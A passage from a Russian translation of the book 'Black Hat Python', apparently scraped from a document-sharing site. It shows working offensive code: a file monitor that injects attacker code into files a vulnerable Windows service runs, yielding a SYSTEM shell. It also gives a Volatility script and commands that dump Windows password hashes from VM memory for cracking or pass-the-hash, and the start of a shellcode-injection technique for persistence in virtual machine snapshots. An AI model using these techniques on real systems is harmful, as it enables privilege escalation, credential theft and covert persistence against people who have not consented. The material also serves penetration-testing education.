Главная страница

Установка Kali Linux


Скачать 2.4 Mb.
НазваниеУстановка Kali Linux
АнкорBlack
Дата15.03.2022
Размер2.4 Mb.
Формат файлаpdf
Имя файлаBlack_Hat_Python_RUS.pdf
ТипДокументы
#398533
страница10 из 13
1   ...   5   6   7   8   9   10   11   12   13
# is our marker already in the file?
if file_types[extension][0] in contents:

return
# no marker; let's inject the marker and code full_contents = file_types[extension][0]
full_contents += file_types[extension][1]
full_contents += contents fd = open(full_filename,"wb")

fd.write(full_contents)
fd.close()
print "[\o/] Injected code."
return
Начнем с определения словаря сниппетов кода, которые соответствуют конкретному файловому расширению , что включает в себя уникальный маркер и код, который мы

хотим внедрить. Причина, по которой мы используем маркер, заключается в том, что мы можем попасть в бесконечный цикл, в ходе которого мы сможем увидеть модификацию файла, вставить наш код (что приводит к последующему событию модификации файла) и так далее. Так продолжается, пока файл не становится просто гигантским и ваш жесткий диск с ним не справляется. Следующая часть кода — это наша функция inject_code
, которая работает непосредственно с внедрением кода и проверкой маркера файла. После того как мы подтвердим, что маркера не существует , мы выписываем маркер и код, которые хотим

запустить через целевой процесс . Теперь нам нужно изменить наш главный цикл события,

что включить проверку расширения файла и вызвать функцию inject_code.
­­snip­­
elif action == FILE_MODIFIED:
print "[ * ] Modified %s" % full_filename
# dump out the file contents print "[vvv] Dumping contents..."
try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents print "[^^^] Dump complete."
except:
print "[!!!] Failed."
#### NEW CODE STARTS HERE
filename,extension = os.path.splitext(full_filename)

if extension in file_types:

inject_code(full_filename,extension,contents)
#### END OF NEW CODE
­­snip­­
Это вполне понятное добавление в наш главный цикл. Мы быстро разбиваем файловое расширение и затем проверяем его по нашему словарю известных типов файлов . Если


расширение обнаружено в нашем словаре, то мы вызываем функцию inject_code.
Давайте пробовать.

Проверка на деле
Если вы установили пример уязвимой службы, о чем говорилось в начале главы, то вы легко сможете протестировать ваш новый внедритель кода Проверьте, что служба запущена и просто исполните скрипт file_monitor.py. В результате, вы должны увидеть, что был создан и модифицирован файл .vbs, а код внедрен. Если все прошло хорошо, то вы должны суметь запустить скрипт bhpnet.py из Главы 2, чтобы соединиться с прослушивателем, который вы только что создали. Для того чтобы убедиться, что повышение привилегий сработало, соединитесь с прослушивателем и проверьте, какой пользователь у вас запущен. justin$
./bhpnet.py ­t 192.168.1.10 ­p 9999

whoami
NT AUTHORITY\SYSTEM

Это указывает на то, что вы достигли священного аккаунта SYSTEM и ваш внедритель кода работает.
Возможно, вы дочитали эту главу и подумали, что некоторые атаки получились понятными только избранному кругу людей. Но, чем больше времени вы проведете внутри крупного предприятия, тем больше вы начнете осознавать, что это вполне жизнеспособные атаки.
Инструменты, описанные в этой главе легко можно усовершенствовать или сделать на их основе скрипт, который можно будет использовать в конкретных случаях, с целью скомпрометировать локальный аккаунт или приложение. Только WMI может быть отличным источником получения локальных данных, которые вы сможете использовать в дальнейшем для атака, как только окажетесь внутри сети. Повышение привилегии — это неотъемлемая часть любого хорошего трояна.
[21] Мы адаптировали этот код, взятый со страницы Python WMI
(
http://timgolden.me.uk/python/wmi/tutorial.html
).
[22]Win32_Process class документация: http://msdn.microsoft.com/en- us/library/aa394372(v=vs.85).aspx
[23]MSDN – Маркеры доступа: http://msdn.microsoft.com/en-us/library/Aa374909.aspx
[24] Все привилегии можно найти по ссылке http://msdn.microsoft.com/en- us/library/windows/desktop/bb530716(v=vs.85).aspx
[25] Карлос Перез (Carlos Perez)проделал отличную работу с PowerShell; см. http://www.darkoperator.com/

Глава 11. Автоматизация компьютерно-технической экспертизы
Экспертов часто призывают, когда была нарушена безопасность компьютера или для того, чтобы определить имел ли место «инцидент». Обычно экспертам требуется снимок оперативной памяти с целью получения криптографических ключей или иной информации, которая остается только в памяти. Повезло, что талантливые разработчики создали весь фреймворк Python таким образом, что он способен выполнять эту задачу. Этот фреймворк получил название
Volatility и он служит для извлечения из памяти (RAM) цифровых артефактов. Специалисты по вторжению, эксперты в компьютерно-технической области и аналитики вредоносного ПО могут использовать Volatility для выполнения самых разных задач, в том числе для проверки объектов ядра, изучения и отладки процессов и так далее.
Мы, конечно, больше заинтересованы в менее полезных возможностях Volatility.
Сначала мы изучим некоторые возможности командной строки по восстановлению хешей пароля из запущенной виртуальной машины на базе VMWare. Затем мы покажем, как можно автоматизировать этот двухэтапный процесс, внедрив Volatility в наши скрипты. Последний пример демонстрирует, как мы можем внедрить шелл-код непосредственно в запущенную виртуальную машину в точное место, которое мы сами выберем. Этот метод оценят параноики, которые пользуются Интернетом или отправляют электронные письма только из виртуальной машины. Этот метод внедрения кода также полезен для запуска кода на компьютере, в котором установлен FireWire порт, к которому можно получить доступ, но он либо заблокирован, либо спит и требует пароля. Приступим!

Установка
Нет ничего проще, чем установить Volatility. Вам просто нужно скачать его по ссылке https://code.google.com/p/volatility/downloads/list
. Обычно я не делаю полную установку. Я храню его в локальной директории и добавляю директорию в свой рабочий путь, как вы увидите в дальнейших разделах. Установщик Windows также входит. Выберите предпочитаемый метод установки и все должно заработать без проблем.

Профили
Volatility основан на концепции profiles, чтобы определить, как применять необходимые сигнатуры и смещения, чтобы выводить информацию из дампа памяти. Но если вы можете получить снимок памяти при помощи FireWire или удаленно, то вы не обязательно точно знаете версию операционной системы, на которую совершаете атаку. К счастью, в Volatility есть плагин imageinfo
, который определяет, какой профиль следует использовать по отношению к цели. Вы можете запустить плагин следующим образом:
$ python vol.py imageinfo ­f "memorydump.img"
После запуска, вы должны получить в ответ неплохой кусок информации. Самая важная строка -
Suggested Profiles
, она должна выглядеть примерно так:
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86
Когда вы будете выполнять следующие несколько упражнений на своей цели, вы должны установить флаг командной строки – profile на соответствующем значении, начиная с первого. При нашем сценарии мы бы использовали:
$ python vol.py plugin ­­profile="WinXPSP2x86" arguments
Вы поймете, если зададите неверный профиль, потому что ни один из плагинов не будет нормально функционировать или Volatility укажет на ошибки, означающие, что он не может найти подходящее совмещение по адресу.

Захват хешей пароля
Восстановление хешей пароля на машине Windows после проникновения — это самая главная задача среди почти всех взломщиков. Эти хеши можно взломать оффлайн в попытке восстановить пароль цели или их можно использовать для атаки типа «pass-the-hash» с целью получить доступ к другим ресурсам сети. Просмотр виртуальных машин или снэпшотов — это идеальное место для попытки восстановить эти хеши.
Целью может быть пользователь с наклонностями параноика, который выполняет все рискованные операции только на своей виртуальной машине или предприятие, которое хранит всю деятельность пользователей на виртуальной машине. В любом случае, виртуальная машина — это отличное место для сбора информации, после того как вы получили доступ к аппаратной части хоста.
Volatility делает этот процесс восстановления невероятно простым. Во-первых, мы посмотрим на то, как работать с необходимыми плагинами, чтобы восстановить смещения в памяти, откуда можно получить хеши пароля. Затем мы создадим скрипт, чтобы уметить весь процесс в одном шаге.
Windows хранит локальные пароли в улье реестра
SAM в хешированном формате. Кроме этого, в улье реестра system
Windows хранится кнопка начальной загрузки. Нам нужны оба эти улья, чтобы извлечь хеши из снимка памяти. Для начал, давайте запустим плагин hivelist
, чтобы Volatility извлек смещения в памяти, где хранятся эти два улья. Затем мы передадим эту информацию плагину hashdump
, чтобы осуществить непосредственно извлечение хеша. Заходите в свой терминал и вводите следующую команду:
$ python vol.py hivelist ­­profile=WinXPSP2x86 ­f "WindowsXPSP2.vmem"
Через пару минут, вы должны увидеть какой-то результат, отображенный там, где в памяти находятся ульи.
Virtual Physical Name
­­­­­­­ ­­­­­­­­ ­­­­­
0xe1666b60 0x0ff01b60 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe1673b60 0x0fedbb60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe1455758 0x070f7758 [no name]
0xe1035b60 0x06cd3b60 \Device\HarddiskVolume1\WINDOWS\system32\config\system
Вы видите смещения виртуальной и физической памяти, как
SAM
, так и ключей system
(выделено жирным). Не забывайте, что виртуальное смещение имеет дело с тем местом в памяти, по отношению к операционной системе, где находятся ульи. Физическое смещение
— это расположение фактического файла
.vmem на диске, где располагаются эти улья. Итак, теперь у нас есть улья
SAM и system,
поэтому мы можем передать виртуальные смещения плагину hashdump
. Возвращаемся в наш терминал и вводим следующую команду, не забывая, что ваши виртуальные адреса будут отличаться от тех, что показаны в моем примере:
$ python vol.py hashdump ­d ­d ­f "WindowsXPSP2.vmem"
­­profile=WinXPSP2x86 ­y 0xe1035b60 ­s 0xe17adb60
Запуск этой команды должен привести к следующему результату:
Administrator:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3

77041b27:::
Guest:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j
272fa653:::
SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec fdfa81aee:::
Отлично! Теперь мы можем отправить хеши в наш любимый инструмент для взлома или выполнить атаку типа «pass-the-hash».
Теперь, давайте возьмем этот двухэтапный процесс и направим его в наш скрипт. Открываем grabhashes.py и вводим следующий код:
import sys import struct import volatility.conf as conf import volatility.registry as registry memory_file = "WindowsXPSP2.vmem"

sys.path.append("/Users/justin/Downloads/volatility­2.3.1")

registry.PluginImporter()
config = conf.ConfObject()
import volatility.commands as commands import volatility.addrspace as addrspace config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)
Сначала мы устанавливаем переменную, чтобы она указывала на снимок памяти , который

мы собираемся анализировать. Затем мы включаем путь скачивания Volatility , чтобы наш

код мог успешно импортировать библиотеки Volatility. Оставшаяся часть поддерживающего кода нужна для настройки экземпляра Volatility с настроенными опциями профиля и конфигурации.
Теперь, давайте вставим непосредственно код для выгрузки хеша. Добавим следующие строки в grabhashes.py.
from volatility.plugins.registry.registryapi import RegistryApi from volatility.plugins.registry.lsadump import HashDump registry = RegistryApi(config)

registry.populate_offsets()

sam_offset = None sys_offset = None for offset in registry.all_offsets:
if registry.all_offsets[offset].endswith("\\SAM"):

sam_offset = offset print "[*] SAM: 0x%08x" % offset if registry.all_offsets[offset].endswith("\\system"):

sys_offset = offset print "[*] System: 0x%08x" % offset if sam_offset is not None and sys_offset is not None:
config.sys_offset = sys_offset

config.sam_offset = sam_offset hashdump = HashDump(config)

for hash in hashdump.calculate():

print hash break
if sam_offset is None or sys_offset is None:
print "[*] Failed to find the system or SAM offsets."
Сначала мы создаем новый экземпляр
RegistruApi
, который является

вспомогательным классом с самыми распространенными функциями. В качестве параметра, здесь используется только текущая конфигурация. Затем вызывается функция populate_offsets
, которая выполняет то же самое, что и при запуск команды

hivelist
, что мы делали ранее. Далее, мы начинаем просматривать каждый обнаруженный улей в поисках
SAM и

system


Когда ульи обнаружены, мы обновляем текущий объект конфигурации с учетом соответствующих смещений . Затем мы создаем объект

HashDump и передаем текущий

объект конфигурации. Последний шаг - перебор результатов с целью получения имен

пользователя и соответствующих хешей.
Теперь запустим этот скрипт, как отдельный Python файл:
$ python grabhashes.py вы должны увидеть тот же результат, что и при запуске двух плагинов отдельно друг от друга. Единственное, что я бы посоветовал — объединить функциональность (или позаимствовать существующую функциональность), но при этом пройтись по исходному коду Volatility, чтобы посмотреть, правильно ли все работает «изнутри». Volatility не является библиотекой Python, как Scapy, но изучая, как разработчики используют свой код, вы поймете, как правильно работать с классами и функциями.
А теперь, давайте перейдем к обратному проектированию, а также внедрению кода для заражения виртуальной машины.

Прямое внедрение кода
Технология визуализации сегодня используется все чаще, то ли из-за чрезмерно осторожных пользователей, кросс-платформенных требований для офисного ПО или плотной концентрации служб в самых мощных аппаратных системах. В любом случае, если вы скомпрометировали систему хоста и видите, что виртуальная машина находится в деле, то почему бы не попасть внутрь. Если вы также видите, что снимки виртуальной машины летают повсюду, то они могут стать идеальным местом для внедрения шелл-кода, как способа долговременного хранения. Если пользователь вернется к зараженному снимку, то ваш шелл- код исполнится, а вы получите свежую оболочку.
Для того чтобы внедрить наш код, нужно найти идеальное место для внедрения. Если у вас есть время, то лучше всего найти главный служебный цикл в SYSTEM, потому что тогда вам будет гарантирован высокий уровень привилегии. Однако недостатком можно назвать то, что если вы выберите неверное место или ваш шелл-код не до конца прописан, то вы сможете нарушить весь процесс, вас может поймать конечный пользователь или вы просто убьете саму виртуальную машину.
Мы начнем с простого обратного проектирования приложения Windows калькулятор, которое будет служить нам в качестве начальной цели. Первый шаг – загружаем calc.exe в Immunity
Debugger[26] и прописываем простой код, который поможет нам найти функцию кнопки =. суть заключается в том, чтобы мы могли быстро осуществить обратное проектирование, проверить наш метод внедрения кода и без труда воспроизвести результаты. Используя это в качестве основы, вы сможете дальше находить более сложные цели и внедрять более продвинутые шелл-коды. Конечно, нужно найти компьютер с поддержкой FireWire и вперед!
Начнем с простого - Immunity Debugger PyCommand. Откройте новый файл в Windows XP на вашей виртуальной машине и назовите его codecoverage.py. Убедитесь, что вы сохранили файл в главной директории установки Immunity Debugger под папкой
PyCommands. from immlib import *
class cc_hook(LogBpHook):
def __init__(self):
LogBpHook.__init__(self)
self.imm = Debugger()
def run(self,regs):
self.imm.log("%08x" % regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])
return def main(args):
imm = Debugger()
calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())
functions = imm.getAllFunctions(calc.getCodebase())
hooker = cc_hook()
for function in functions:
hooker.add("%08x" % function, function)
return "Tracking %d functions." % len(functions)
Это простой скрипт, который находит каждую функцию в calc.exe и для каждой создает разовую точку останова.

Это означает, что для каждой исполненное функции, Immunity Debugger выдает адрес функции и затем удаляет точки останова, чтобы бы не продолжали постоянно записывать адреса одной и той же функции. Загружаем calc.exe в Immunity Debugger, но пока не запускайте. Затем в панели команд внизу экрана Immunity Debugger вводим следующее:
! codecoverage
Теперь вы можете запустить процесс, нажав на F9. Если вы переключитесь на Log View
(ALT-L), вы увидите, как прокручиваются функции. Теперь можете нажать на любое количество кнопок, кроме кнопки =. Суть в том, что вы должны исполнить все функции, кроме одной. Когда вы уже достаточно раз нажали на кнопки, правой кнопкой мыши нажмите на Log View и выберите Clear Window. Это удалит все ранее нажатые функции. Вы можете убедиться в этом, нажав на кнопку, на которую нажали до этого. Вы ничего не должны увидеть в окне. Теперь давайте нажмем на кнопку =. Сейчас вы должны увидеть единственную записать на экране (возможно, вам придется ввести выражение, например, 3+3
и затем нажать =). На моей виртуальной машине с Windows XP SP2 это адрес
0x01005D51
Итак, мы получили адрес, куда мы хотим внедрить код. Давайте начнем прописывать код
1   ...   5   6   7   8   9   10   11   12   13


написать администратору сайта